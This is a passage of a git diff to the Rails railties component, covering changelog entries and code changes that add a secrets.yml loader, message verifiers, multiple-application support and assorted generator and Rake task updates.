+    *Guillermo Iguaran*
 
-    *Carlos Antonio da Silva*
+*   Generate a new `secrets.yml` file in the `config` folder for new
+    applications. By default, this file contains the application's `secret_key_base`,
+    but it could also be used to store other secrets such as access keys for external
+    APIs.
 
-*   Include `jbuilder` by default and rely on its scaffold generator to show json API.
-    Check https://github.com/rails/jbuilder for more info and examples.
+    The secrets added to this file will be accessible via `Rails.application.secrets`.
+    For example, with the following `secrets.yml`:
 
-    *DHH*
+        development:
+          secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+          some_api_key: SOMEKEY
 
-*   Scaffold now generates HTML-only controller by default.
+    `Rails.application.secrets.some_api_key` will return `SOMEKEY` in the development
+    environment.
 
-    *DHH + Pavel Pravosud*
+    *Guillermo Iguaran*
 
-*   The generated `README.rdoc` for new applications invites the user to
-    document the necessary steps to get the application up and running.
+*   Add `ENV['DATABASE_URL']` support in `rails dbconsole`. Fixes #13320.
 
-    *Xavier Noria*
+    *Huiming Teo*
 
-*   Generated applications no longer get `doc/README_FOR_APP`. In consequence,
-    the `doc` directory is created on demand by documentation tasks rather than
-    generated by default.
+*   Add `Application#message_verifier` method to return a message verifier.
 
-    *Xavier Noria*
+    This verifier can be used to generate and verify signed messages in the application.
 
-*   App executables now live in the `bin/` directory: `bin/bundle`,
-    `bin/rails`, `bin/rake`. Run `rake rails:update:bin` to add these
-    executables to your own app. `script/rails` is gone from new apps.
+        message = Rails.application.message_verifier(:sensitive_data).generate('my sensible data')
+        Rails.application.message_verifier(:sensitive_data).verify(message)
+        # => 'my sensible data'
 
-    Running executables within your app ensures they use your app's Ruby
-    version and its bundled gems, and it ensures your production deployment
-    tools only need to execute a single script. No more having to carefully
-    `cd` to the app dir and run `bundle exec ...`.
+    It is recommended not to use the same verifier for different things, so you can get different
+    verifiers passing the name argument.
 
-    Rather than treating `bin/` as a junk drawer for generated "binstubs",
-    bundler 1.3 adds support for generating stubs for just the executables
-    you actually use: `bundle binstubs unicorn` generates `bin/unicorn`.
-    Add that executable to git and version it just like any other app code.
+        message = Rails.application.message_verifier(:cookies).generate('my sensible cookie data')
 
-    *Jeremy Kemper*
+    See the `ActiveSupport::MessageVerifier` documentation for more information.
 
-*   `config.assets.enabled` is now true by default. If you're upgrading from a Rails 3.x app
-    that does not use the asset pipeline, you'll be required to add `config.assets.enabled = false`
-    to your application.rb. If you don't want the asset pipeline on a new app use `--skip-sprockets`
+    *Rafael Mendonça França*
 
-    *DHH*
+*   The [Spring application
+    preloader](https://github.com/rails/spring) is now installed
+    by default for new applications. It uses the development group of
+    the Gemfile, so will not be installed in production.
 
-*   Environment name can be a start substring of the default environment names
-    (production, development, test). For example: tes, pro, prod, dev, devel.
-    Fixes #8628.
+    *Jon Leighton*
 
-    *Mykola Kyryk*
+*   Uses .railsrc while creating new plugin if it is available.
 
-*   Add `-B` alias for `--skip-bundle` option in the rails new generators.
+    Fixes #10700.
 
-    *Jiri Pospisil*
+    *Prathamesh Sonpatki*
 
-*   Quote column names in generates fixture files. This prevents
-    conflicts with reserved YAML keywords such as 'yes' and 'no'
-    Fixes #8612.
+*   Remove turbolinks when generating a new application based on a template that skips it.
 
-    *Yves Senn*
+    Example:
 
-*   Explicit options have precedence over `~/.railsrc` on the `rails new` command.
+        Skips turbolinks adding `add_gem_entry_filter { |gem| gem.name != "turbolinks" }`
+        to the template.
 
-    *Rafael Mendonça França*
+    *Lauro Caetano*
 
-*   Generated migrations now always use the `change` method.
+*   Instrument an `load_config_initializer.railties` event on each load of configuration initializer
+    from `config/initializers`. Subscribers should be attached before `load_config_initializers`
+    initializer completed.
 
-    *Marc-André Lafortune*
+    Registering subscriber examples:
 
-*   Add `app/models/concerns` and `app/controllers/concerns` to the default directory structure and load path.
-    See http://37signals.com/svn/posts/3372-put-chubby-models-on-a-diet-with-concerns for usage instructions.
+        # config/application.rb
+        module RailsApp
+          class Application < Rails::Application
+            ActiveSupport::Notifications.subscribe('load_config_initializer.railties') do |*args|
+              event = ActiveSupport::Notifications::Event.new(*args)
+              puts "Loaded initializer #{event.payload[:initializer]} (#{event.duration}ms)"
+            end
+          end
+        end
 
-    *DHH*
+        # my_engine/lib/my_engine/engine.rb
+        module MyEngine
+          class Engine < ::Rails::Engine
+            config.before_initialize do
+              ActiveSupport::Notifications.subscribe('load_config_initializer.railties') do |*args|
+                event = ActiveSupport::Notifications::Event.new(*args)
+                puts "Loaded initializer #{event.payload[:initializer]} (#{event.duration}ms)"
+              end
+            end
+          end
+        end
 
-*   The `rails/info/routes` now correctly formats routing output as an html table.
+    *Paul Nikitochkin*
 
-    *Richard Schneeman*
+*   Support for Pathnames in eager load paths.
 
-*   The `public/index.html` is no longer generated for new projects.
-    Page is replaced by internal `welcome_controller` inside of railties.
+    *Mike Pack*
 
-    *Richard Schneeman*
+*   Fixed missing line and shadow on service pages(404, 422, 500).
 
-*   Add `ENV['RACK_ENV']` support to `rails runner/console/server`.
+    *Dmitry Korotkov*
 
-    *kennyj*
+*   `BACKTRACE` environment variable to show unfiltered backtraces for
+    test failures.
 
-*   Add `db` to list of folders included by `rake notes` and `rake notes:custom`. *Antonio Cangiano*
+    Example:
 
-*   Engines with a dummy app include the rake tasks of dependencies in the app namespace.
-    Fixes #8229.
+        $ BACKTRACE=1 ruby -Itest ...
+        # or with rake
+        $ BACKTRACE=1 bin/rake
 
     *Yves Senn*
 
-*   Add `sqlserver.yml` template file to satisfy `-d sqlserver` being passed to `rails new`.
-    Fixes #6882.
-
-    *Robert Nesius*
+*   Removal of all javascript stuff (gems and files) when generating a new
+    application using the `--skip-javascript` option.
 
-*   Rake test:uncommitted finds git directory in ancestors *Nicolas Despres*
+    *Robin Dupret*
 
-*   Add dummy app Rake tasks when `--skip-test-unit` and `--dummy-path` is passed to the plugin generator.
-    Fixes #8121.
+*   Make the application name snake cased when it contains spaces
 
-    *Yves Senn*
+    The application name is used to fill the `database.yml` and
+    `session_store.rb` files ; previously, if the provided name
+    contained whitespaces, it led to unexpected names in these files.
 
-*   Add `.rake` to list of file extensions included by `rake notes` and `rake notes:custom`. *Brent J. Nordquist*
+    *Robin Dupret*
 
-*   New test locations `test/models`, `test/helpers`, `test/controllers`, and
-    `test/mailers`. Corresponding rake tasks added as well. *Mike Moore*
+*   Added `--model-name` option to `ScaffoldControllerGenerator`.
 
-*   Set a different cache per environment for assets pipeline
-    through `config.assets.cache`.
+    *yalab*
 
-    *Guillermo Iguaran*
+*   Expose MiddlewareStack#unshift to environment configuration.
 
-*   `Rails.public_path` now returns a Pathname object. *Prem Sichanugrist*
+    *Ben Pickles*
 
-*   Remove highly uncommon `config.assets.manifest` option for moving the manifest path.
-    This option is now unsupported in sprockets-rails.
+*   `rails server` will only extend the logger to output to STDOUT
+     in development environment.
 
-    *Guillermo Iguaran & Dmitry Vorotilin*
+    *Richard Schneeman*
 
-*   Add `config.action_controller.permit_all_parameters` to disable
-    StrongParameters protection, it's false by default.
+*   Don't require passing path to app before options in `rails new`
+    and `rails plugin new`
 
-    *Guillermo Iguaran*
-
-*   Remove `config.active_record.whitelist_attributes` and
-    `config.active_record.mass_assignment_sanitizer` from new applications since
-    MassAssignmentSecurity has been extracted from Rails.
+    *Piotr Sarnacki*
 
-    *Guillermo Iguaran*
+*   rake notes now searches *.less files
 
-*   Change `rails new` and `rails plugin new` generators to name the `.gitkeep` files
-    as `.keep` in a more SCM-agnostic way.
+    *Josh Crowder*
 
-    Change `--skip-git` option to only skip the `.gitignore` file and still generate
-    the `.keep` files.
+*   Generate nested route for namespaced controller generated using
+    `rails g controller`.
+    Fixes #11532.
 
-    Add `--skip-keeps` option to skip the `.keep` files.
+    Example:
 
-    *Derek Prior & Francesco Rodriguez*
+        rails g controller admin/dashboard index
 
-*   Fixed support for `DATABASE_URL` environment variable for rake db tasks.
+        # Before:
+        get "dashboard/index"
 
-    *Grace Liu*
+        # After:
+        namespace :admin do
+          get "dashboard/index"
+        end
 
-*   `rails dbconsole` now can use SSL for MySQL. The `database.yml` options sslca, sslcert, sslcapath, sslcipher
-    and sslkey now affect `rails dbconsole`.
+    *Prathamesh Sonpatki*
 
-    *Jim Kingdon and Lars Petrus*
+*   Fix the event name of action_dispatch requests.
 
-*   Correctly handle SCRIPT_NAME when generating routes to engine in application
-    that's mounted at a sub-uri. With this behavior, you *should not* use
-    `default_url_options[:script_name]` to set proper application's mount point by
-    yourself.
+    *Rafael Mendonça França*
 
-     *Piotr Sarnacki*
+*   Make `config.log_level` work with custom loggers.
 
-*   `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded .
+    *Max Shytikov*
 
-    *José Valim*
+*   Changed stylesheet load order in the stylesheet manifest generator.
+    Fixes #11639.
 
-*   The migration generator will now produce AddXXXToYYY/RemoveXXXFromYYY migrations with references statements, for instance
+    *Pawel Janiak*
 
-        rails g migration AddReferencesToProducts user:references supplier:references{polymorphic}
+*   Added generated unit test for generator generator using new
+    `test:generators` rake task.
 
-    will generate the migration with:
+    *Josef Šimánek*
 
-        add_reference :products, :user, index: true
-        add_reference :products, :supplier, polymorphic: true, index: true
+*   Removed `update:application_controller` rake task.
 
-    *Aleksey Magusev*
+    *Josef Šimánek*
 
-*   Allow scaffold/model/migration generators to accept a `polymorphic` modifier
-    for `references`/`belongs_to`, for instance
+*   Fix `rake environment` to do not eager load modules
 
-        rails g model Product supplier:references{polymorphic}
+    *Paul Nikitochkin*
 
-    will generate the model with `belongs_to :supplier, polymorphic: true`
-    association and appropriate migration.
+*   Fix `rake notes` to look into `*.sass` files
 
-    *Aleksey Magusev*
+    *Yuri Artemev*
 
-*   Set `config.active_record.migration_error` to `:page_load` for development.
+*   Removed deprecated `Rails.application.railties.engines`.
 
-     *Richard Schneeman*
+    *Arun Agrawal*
 
-*   Add runner to `Rails::Railtie` as a hook called just after runner starts.
+*   Removed deprecated threadsafe! from Rails Config.
 
-     *José Valim & kennyj*
+    *Paul Nikitochkin*
 
-*   Add `/rails/info/routes` path, displays same information as `rake routes` .
+*   Remove deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in
+    favor of `ActiveRecord::Generators::ActiveModel#update`.
 
-     *Richard Schneeman & Andrew White*
+    *Vipul A M*
 
-*   Improved `rake routes` output for redirects.
+*   Remove deprecated `config.whiny_nils` option.
 
-     *Łukasz Strzałkowski & Andrew White*
+    *Vipul A M*
 
-*   Load all environments available in `config.paths["config/environments"]`.
+*   Rename `commands/plugin_new.rb` to `commands/plugin.rb` and fix references
 
-     *Piotr Sarnacki*
+    *Richard Schneeman*
 
-*   Remove `Rack::SSL` in favour of `ActionDispatch::SSL`.
+*   Fix `rails plugin --help` command.
 
-     *Rafael Mendonça França*
+    *Richard Schneeman*
 
-*   Remove Active Resource from Rails framework.
+*   Omit turbolinks configuration completely on skip_javascript generator option.
 
-     *Prem Sichangrist*
+    *Nikita Fedyashev*
 
-*   Allow to set class that will be used to run as a console, other than IRB, with `Rails.application.config.console=`. It's best to add it to `console` block.
+*   Removed deprecated rake tasks for running tests: `rake test:uncommitted` and
+    `rake test:recent`.
 
-    Example:
+    *John Wang*
 
-        # it can be added to config/application.rb
-        console do
-          # this block is called only when running console,
-          # so we can safely require pry here
-          require "pry"
-          config.console = Pry
-        end
+*   Clearing autoloaded constants triggers routes reloading.
+    Fixes #10685.
 
-    *Piotr Sarnacki*
+    *Xavier Noria*
 
-*   Add convenience `hide!` method to Rails generators to hide current generator
-    namespace from showing when running `rails generate`.
+*   Fixes bug with scaffold generator with `--assets=false --resource-route=false`.
+    Fixes #9525.
 
-     *Carlos Antonio da Silva*
+    *Arun Agrawal*
 
-*   Rails::Plugin has gone. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.
+*   Rails::Railtie no longer forces the Rails::Configurable module on everything
+    that subclasses it. Instead, the methods from Rails::Configurable have been
+    moved to class methods in Railtie and the Railtie has been made abstract.
 
-    *Santiago Pastorino*
+    *John Wang*
 
-*   Set config.action_mailer.async = true to turn on asynchronous
-    message delivery.
+*   Changes repetitive th tags to use colspan attribute in `index.html.erb` template.
 
-     *Brian Cardarella*
+    *Sıtkı Bağdat*
 
-Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/railties/CHANGELOG.md) for previous changes.
+Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for previous changes.
diff --git a/railties/MIT-LICENSE b/railties/MIT-LICENSE
index 0d7fb86..2950f05 100644
--- a/railties/MIT-LICENSE
+++ b/railties/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/railties/README.rdoc b/railties/README.rdoc
index 8834a2d..d93bb63 100644
--- a/railties/README.rdoc
+++ b/railties/README.rdoc
@@ -17,7 +17,7 @@ The latest version of Railties can be installed with RubyGems:
 
 Source code can be downloaded as part of the Rails project on GitHub
 
-* https://github.com/rails/rails/tree/4-0-stable/railties
+* https://github.com/rails/rails/tree/4-1-stable/railties
 
 == License
 
diff --git a/railties/Rakefile b/railties/Rakefile
index 4789f41..a899d06 100644
--- a/railties/Rakefile
+++ b/railties/Rakefile
@@ -1,10 +1,6 @@
 require 'rake/testtask'
 require 'rubygems/package_task'
 
-require 'date'
-require 'rbconfig'
-
-
 task :default => :test
 
 desc "Run all unit tests"
@@ -35,15 +31,6 @@ Rake::TestTask.new('test:regular') do |t|
   t.verbose = true
 end
 
-# Update spinoffs -------------------------------------------------------------------
-
-desc "Updates application README to the latest version Railties README"
-task :update_readme do
-  readme = "lib/rails/generators/rails/app/templates/README"
-  rm readme
-  cp "./README.rdoc", readme
-end
-
 # Generate GEM ----------------------------------------------------------------------------
 
 spec = eval(File.read('railties.gemspec'))
@@ -54,7 +41,7 @@ end
 
 # Publishing -------------------------------------------------------
 
-desc "Release to gemcutter"
+desc "Release to rubygems"
 task :release => :package do
   require 'rake/gemcutter'
   Rake::Gemcutter::Tasks.new(spec).define
diff --git a/railties/bin/rails b/railties/bin/rails
index b3026e8..82c17ca 100755
--- a/railties/bin/rails
+++ b/railties/bin/rails
@@ -1,8 +1,8 @@
 #!/usr/bin/env ruby
 
-git_path = File.join(File.expand_path('../../..', __FILE__), '.git')
+git_path = File.expand_path('../../../.git', __FILE__)
 
-if File.exists?(git_path)
+if File.exist?(git_path)
   railties_path = File.expand_path('../../lib', __FILE__)
   $:.unshift(railties_path)
 end
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
index bb98bbe..ecd8c22 100644
--- a/railties/lib/rails.rb
+++ b/railties/lib/rails.rb
@@ -3,12 +3,13 @@ require 'rails/ruby_version_check'
 require 'pathname'
 
 require 'active_support'
+require 'active_support/dependencies/autoload'
 require 'active_support/core_ext/kernel/reporting'
+require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/array/extract_options'
 
 require 'rails/application'
 require 'rails/version'
-require 'rails/deprecation'
 
 require 'active_support/railtie'
 require 'action_dispatch/railtie'
@@ -20,26 +21,23 @@ silence_warnings do
 end
 
 module Rails
-  autoload :Info, 'rails/info'
-  autoload :InfoController,    'rails/info_controller'
-  autoload :WelcomeController, 'rails/welcome_controller'
+  extend ActiveSupport::Autoload
+
+  autoload :Info
+  autoload :InfoController
+  autoload :MailersController
+  autoload :WelcomeController
 
   class << self
     attr_accessor :application, :cache, :logger
 
+    delegate :initialize!, :initialized?, to: :application
+
     # The Configuration instance used to configure the Rails environment
     def configuration
       application.config
     end
 
-    def initialize!
-      application.initialize!
-    end
-
-    def initialized?
-      application.initialized?
-    end
-
     def backtrace_cleaner
       @backtrace_cleaner ||= begin
         # Relies on Active Support, so we have to lazy load to postpone definition until AS has been loaded
@@ -76,16 +74,12 @@ module Rails
       env = Rails.env
       groups.unshift(:default, env)
       groups.concat ENV["RAILS_GROUPS"].to_s.split(",")
-      groups.concat hash.map { |k,v| k if v.map(&:to_s).include?(env) }
+      groups.concat hash.map { |k, v| k if v.map(&:to_s).include?(env) }
       groups.compact!
       groups.uniq!
       groups
     end
 
-    def version
-      VERSION::STRING
-    end
-
     def public_path
       application && Pathname.new(application.paths["public"].first)
     end
diff --git a/railties/lib/rails/all.rb b/railties/lib/rails/all.rb
index 6c9c53f..2e83c0f 100644
--- a/railties/lib/rails/all.rb
+++ b/railties/lib/rails/all.rb
@@ -3,6 +3,7 @@ require "rails"
 %w(
   active_record
   action_controller
+  action_view
   action_mailer
   rails/test_unit
   sprockets
diff --git a/railties/lib/rails/api/task.rb b/railties/lib/rails/api/task.rb
index edd2283..3e32576 100644
--- a/railties/lib/rails/api/task.rb
+++ b/railties/lib/rails/api/task.rb
@@ -7,7 +7,6 @@ module Rails
         'activesupport' => {
           :include => %w(
             README.rdoc
-            CHANGELOG.md
             lib/active_support/**/*.rb
           ),
           :exclude => 'lib/active_support/vendor/*'
@@ -16,16 +15,13 @@ module Rails
         'activerecord' => {
           :include => %w(
             README.rdoc
-            CHANGELOG.md
             lib/active_record/**/*.rb
-          ),
-          :exclude => 'lib/active_record/vendor/*'
+          )
         },
 
         'activemodel' => {
           :include => %w(
             README.rdoc
-            CHANGELOG.md
             lib/active_model/**/*.rb
           )
         },
@@ -33,29 +29,30 @@ module Rails
         'actionpack' => {
           :include => %w(
             README.rdoc
-            CHANGELOG.md
             lib/abstract_controller/**/*.rb
             lib/action_controller/**/*.rb
             lib/action_dispatch/**/*.rb
+          )
+        },
+
+        'actionview' => {
+          :include => %w(
+            README.rdoc
             lib/action_view/**/*.rb
           ),
-          :exclude => 'lib/action_controller/vendor/*'
+          :exclude => 'lib/action_view/vendor/*'
         },
 
         'actionmailer' => {
           :include => %w(
             README.rdoc
-            CHANGELOG.md
             lib/action_mailer/**/*.rb
-          ),
-          :exclude => 'lib/action_mailer/vendor/*'
+          )
         },
 
         'railties' => {
           :include => %w(
             README.rdoc
-            CHANGELOG.md
-            MIT-LICENSE
             lib/**/*.rb
           ),
           :exclude => 'lib/rails/generators/rails/**/templates/**/*.rb'
diff --git a/railties/lib/rails/app_rails_loader.rb b/railties/lib/rails/app_rails_loader.rb
index 4a17803..56f05b3 100644
--- a/railties/lib/rails/app_rails_loader.rb
+++ b/railties/lib/rails/app_rails_loader.rb
@@ -2,7 +2,7 @@ require 'pathname'
 
 module Rails
   module AppRailsLoader
-    RUBY = File.join(*RbConfig::CONFIG.values_at("bindir", "ruby_install_name")) + RbConfig::CONFIG["EXEEXT"]
+    RUBY = Gem.ruby
     EXECUTABLES = ['bin/rails', 'script/rails']
     BUNDLER_WARNING = <<EOS
 Looks like your app's ./bin/rails is a stub that was generated by Bundler.
@@ -49,13 +49,13 @@ EOS
         # call to generate a new application, so restore the original cwd.
         Dir.chdir(original_cwd) and return if Pathname.new(Dir.pwd).root?
 
-        # Otherwise keep moving upwards in search of a executable.
+        # Otherwise keep moving upwards in search of an executable.
         Dir.chdir('..')
       end
     end
 
     def self.find_executable
-      EXECUTABLES.find { |exe| File.exists?(exe) }
+      EXECUTABLES.find { |exe| File.file?(exe) }
     end
   end
 end
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index 656b9eb..89832ee 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -1,6 +1,8 @@
 require 'fileutils'
+require 'active_support/core_ext/hash/keys'
 require 'active_support/core_ext/object/blank'
 require 'active_support/key_generator'
+require 'active_support/message_verifier'
 require 'rails/engine'
 
 module Rails
@@ -51,21 +53,49 @@ module Rails
   #   10) Run config.before_eager_load and eager_load! if eager_load is true
   #   11) Run config.after_initialize callbacks
   #
+  # == Multiple Applications
+  #
+  # If you decide to define multiple applications, then the first application
+  # that is initialized will be set to +Rails.application+, unless you override
+  # it with a different application.
+  #
+  # To create a new application, you can instantiate a new instance of a class
+  # that has already been created:
+  #
+  #   class Application < Rails::Application
+  #   end
+  #
+  #   first_application  = Application.new
+  #   second_application = Application.new(config: first_application.config)
+  #
+  # In the above example, the configuration from the first application was used
+  # to initialize the second application. You can also use the +initialize_copy+
+  # on one of the applications to create a copy of the application which shares
+  # the configuration.
+  #
+  # If you decide to define rake tasks, runners, or initializers in an
+  # application other than +Rails.application+, then you must run those
+  # these manually.
   class Application < Engine
-    autoload :Bootstrap,      'rails/application/bootstrap'
-    autoload :Configuration,  'rails/application/configuration'
-    autoload :Finisher,       'rails/application/finisher'
-    autoload :Railties,       'rails/engine/railties'
-    autoload :RoutesReloader, 'rails/application/routes_reloader'
+    autoload :Bootstrap,              'rails/application/bootstrap'
+    autoload :Configuration,          'rails/application/configuration'
+    autoload :DefaultMiddlewareStack, 'rails/application/default_middleware_stack'
+    autoload :Finisher,               'rails/application/finisher'
+    autoload :Railties,               'rails/engine/railties'
+    autoload :RoutesReloader,         'rails/application/routes_reloader'
 
     class << self
       def inherited(base)
-        raise "You cannot have more than one Rails::Application" if Rails.application
         super
-        Rails.application = base.instance
-        Rails.application.add_lib_to_load_path!
-        ActiveSupport.run_load_hooks(:before_configuration, base.instance)
+        base.instance
       end
+
+      # Makes the +new+ method public.
+      #
+      # Note that Rails::Application inherits from Rails::Engine, which
+      # inherits from Rails::Railtie and the +new+ method on Rails::Railtie is
+      # private
+      public :new
     end
 
     attr_accessor :assets, :sandbox
@@ -74,14 +104,31 @@ module Rails
 
     delegate :default_url_options, :default_url_options=, to: :routes
 
-    def initialize
-      super
-      @initialized      = false
-      @reloaders        = []
-      @routes_reloader  = nil
-      @app_env_config   = nil
-      @ordered_railties = nil
-      @railties         = nil
+    INITIAL_VARIABLES = [:config, :railties, :routes_reloader, :reloaders,
+                         :routes, :helpers, :app_env_config, :secrets] # :nodoc:
+
+    def initialize(initial_variable_values = {}, &block)
+      super()
+      @initialized       = false
+      @reloaders         = []
+      @routes_reloader   = nil
+      @app_env_config    = nil
+      @ordered_railties  = nil
+      @railties          = nil
+      @message_verifiers = {}
+
+      Rails.application ||= self
+
+      add_lib_to_load_path!
+      ActiveSupport.run_load_hooks(:before_configuration, self)
+
+      initial_variable_values.each do |variable_name, value|
+        if INITIAL_VARIABLES.include?(variable_name)
+          instance_variable_set("@#{variable_name}", value)
+        end
+      end
+
+      instance_eval(&block) if block_given?
     end
 
     # Returns true if the application is initialized.
@@ -102,14 +149,13 @@ module Rails
       routes_reloader.reload!
     end
 
-
     # Return the application's KeyGenerator
     def key_generator
       # number of iterations selected based on consultation with the google security
       # team. Details at https://github.com/rails/rails/pull/6952#issuecomment-7661220
       @caching_key_generator ||= begin
-        if config.secret_key_base
-          key_generator = ActiveSupport::KeyGenerator.new(config.secret_key_base, iterations: 1000)
+        if secrets.secret_key_base
+          key_generator = ActiveSupport::KeyGenerator.new(secrets.secret_key_base, iterations: 1000)
           ActiveSupport::CachingKeyGenerator.new(key_generator)
         else
           ActiveSupport::LegacyKeyGenerator.new(config.secret_token)
@@ -117,40 +163,42 @@ module Rails
       end
     end
 
-    # Stores some of the Rails initial environment parameters which
-    # will be used by middlewares and engines to configure themselves.
-    # Currently stores:
+    # Returns a message verifier object.
+    #
+    # This verifier can be used to generate and verify signed messages in the application.
     #
-    #   * "action_dispatch.parameter_filter"             => config.filter_parameters
-    #   * "action_dispatch.redirect_filter"              => config.filter_redirect
-    #   * "action_dispatch.secret_token"                 => config.secret_token
-    #   * "action_dispatch.secret_key_base"              => config.secret_key_base
-    #   * "action_dispatch.show_exceptions"              => config.action_dispatch.show_exceptions
-    #   * "action_dispatch.show_detailed_exceptions"     => config.consider_all_requests_local
-    #   * "action_dispatch.logger"                       => Rails.logger
-    #   * "action_dispatch.backtrace_cleaner"            => Rails.backtrace_cleaner
-    #   * "action_dispatch.key_generator"                => key_generator
-    #   * "action_dispatch.http_auth_salt"               => config.action_dispatch.http_auth_salt
-    #   * "action_dispatch.signed_cookie_salt"           => config.action_dispatch.signed_cookie_salt
-    #   * "action_dispatch.encrypted_cookie_salt"        => config.action_dispatch.encrypted_cookie_salt
-    #   * "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt
+    # It is recommended not to use the same verifier for different things, so you can get different
+    # verifiers passing the +verifier_name+ argument.
     #
+    # ==== Parameters
+    #
+    # * +verifier_name+ - the name of the message verifier.
+    #
+    # ==== Examples
+    #
+    #     message = Rails.application.message_verifier('sensitive_data').generate('my sensible data')
+    #     Rails.application.message_verifier('sensitive_data').verify(message)
+    #     # => 'my sensible data'
+    #
+    # See the +ActiveSupport::MessageVerifier+ documentation for more information.
+    def message_verifier(verifier_name)
+      @message_verifiers[verifier_name] ||= begin
+        secret = key_generator.generate_key(verifier_name.to_s)
+        ActiveSupport::MessageVerifier.new(secret)
+      end
+    end
+
+    # Stores some of the Rails initial environment parameters which
+    # will be used by middlewares and engines to configure themselves.
     def env_config
       @app_env_config ||= begin
-        if config.secret_key_base.blank?
-          ActiveSupport::Deprecation.warn "You didn't set config.secret_key_base. " +
-            "Read the upgrade documentation to learn more about this new config option."
-
-          if config.secret_token.blank?
-            raise "You must set config.secret_key_base in your app's config."
-          end
-        end
+        validate_secret_key_config!
 
         super.merge({
           "action_dispatch.parameter_filter" => config.filter_parameters,
           "action_dispatch.redirect_filter" => config.filter_redirect,
           "action_dispatch.secret_token" => config.secret_token,
-          "action_dispatch.secret_key_base" => config.secret_key_base,
+          "action_dispatch.secret_key_base" => secrets.secret_key_base,
           "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions,
           "action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local,
           "action_dispatch.logger" => Rails.logger,
@@ -159,11 +207,48 @@ module Rails
           "action_dispatch.http_auth_salt" => config.action_dispatch.http_auth_salt,
           "action_dispatch.signed_cookie_salt" => config.action_dispatch.signed_cookie_salt,
           "action_dispatch.encrypted_cookie_salt" => config.action_dispatch.encrypted_cookie_salt,
-          "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt
+          "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt,
+          "action_dispatch.cookies_serializer" => config.action_dispatch.cookies_serializer
         })
       end
     end
 
+    # If you try to define a set of rake tasks on the instance, these will get
+    # passed up to the rake tasks defined on the application's class.
+    def rake_tasks(&block)
+      self.class.rake_tasks(&block)
+    end
+
+    # Sends the initializers to the +initializer+ method defined in the
+    # Rails::Initializable module. Each Rails::Application class has its own
+    # set of initializers, as defined by the Initializable module.
+    def initializer(name, opts={}, &block)
+      self.class.initializer(name, opts, &block)
+    end
+
+    # Sends any runner called in the instance of a new application up
+    # to the +runner+ method defined in Rails::Railtie.
+    def runner(&blk)
+      self.class.runner(&blk)
+    end
+
+    # Sends any console called in the instance of a new application up
+    # to the +console+ method defined in Rails::Railtie.
+    def console(&blk)
+      self.class.console(&blk)
+    end
+
+    # Sends any generators called in the instance of a new application up
+    # to the +generators+ method defined in Rails::Railtie.
+    def generators(&blk)
+      self.class.generators(&blk)
+    end
+
+    # Sends the +isolate_namespace+ method up to the class method.
+    def isolate_namespace(mod)
+      self.class.isolate_namespace(mod)
+    end
+
     ## Rails internal API
 
     # This method is called just after an application inherits from Rails::Application,
@@ -181,7 +266,9 @@ module Rails
     # you need to load files in lib/ during the application configuration as well.
     def add_lib_to_load_path! #:nodoc:
       path = File.join config.root, 'lib'
-      $LOAD_PATH.unshift(path) if File.exists?(path)
+      if File.exist?(path) && !$LOAD_PATH.include?(path)
+        $LOAD_PATH.unshift(path)
+      end
     end
 
     def require_environment! #:nodoc:
@@ -207,9 +294,7 @@ module Rails
     end
 
     # Initialize the application passing the given group. By default, the
-    # group is :default but sprockets precompilation passes group equals
-    # to assets if initialize_on_precompile is false to avoid booting the
-    # whole app.
+    # group is :default
     def initialize!(group=:default) #:nodoc:
       raise "Application has been already initialized." if @initialized
       run_initializers(group, self)
@@ -227,6 +312,32 @@ module Rails
       @config ||= Application::Configuration.new(find_root_with_flag("config.ru", Dir.pwd))
     end
 
+    def config=(configuration) #:nodoc:
+      @config = configuration
+    end
+
+    def secrets #:nodoc:
+      @secrets ||= begin
+        secrets = ActiveSupport::OrderedOptions.new
+        yaml = config.paths["config/secrets"].first
+        if File.exist?(yaml)
+          require "erb"
+          all_secrets = YAML.load(ERB.new(IO.read(yaml)).result) || {}
+          env_secrets = all_secrets[Rails.env]
+          secrets.merge!(env_secrets.symbolize_keys) if env_secrets
+        end
+
+        # Fallback to config.secret_key_base if secrets.secret_key_base isn't set
+        secrets.secret_key_base ||= config.secret_key_base
+
+        secrets
+      end
+    end
+
+    def secrets=(secrets) #:nodoc:
+      @secrets = secrets
+    end
+
     def to_app #:nodoc:
       self
     end
@@ -235,6 +346,25 @@ module Rails
       config.helpers_paths
     end
 
+    console do
+      require "pp"
+    end
+
+    console do
+      unless ::Kernel.private_method_defined?(:y)
+        if RUBY_VERSION >= '2.0'
+          require "psych/y"
+        else
+          module ::Kernel
+            def y(*objects)
+              puts ::Psych.dump_stream(*objects)
+            end
+            private :y
+          end
+        end
+      end
+    end
+
   protected
 
     alias :build_middleware_stack :app
@@ -243,7 +373,6 @@ module Rails
       railties.each { |r| r.run_tasks_blocks(app) }
       super
       require "rails/tasks"
-      config = self.config
       task :environment do
         ActiveSupport.on_load(:before_initialize) { config.eager_load = false }
 
@@ -301,94 +430,9 @@ module Rails
       initializers
     end
 
-    def reload_dependencies? #:nodoc:
-      config.reload_classes_only_on_change != true || reloaders.map(&:updated?).any?
-    end
-
     def default_middleware_stack #:nodoc:
-      ActionDispatch::MiddlewareStack.new.tap do |middleware|
-        app = self
-
-        if rack_cache = load_rack_cache
-          require "action_dispatch/http/rack_cache"
-          middleware.use ::Rack::Cache, rack_cache
-        end
-
-        if config.force_ssl
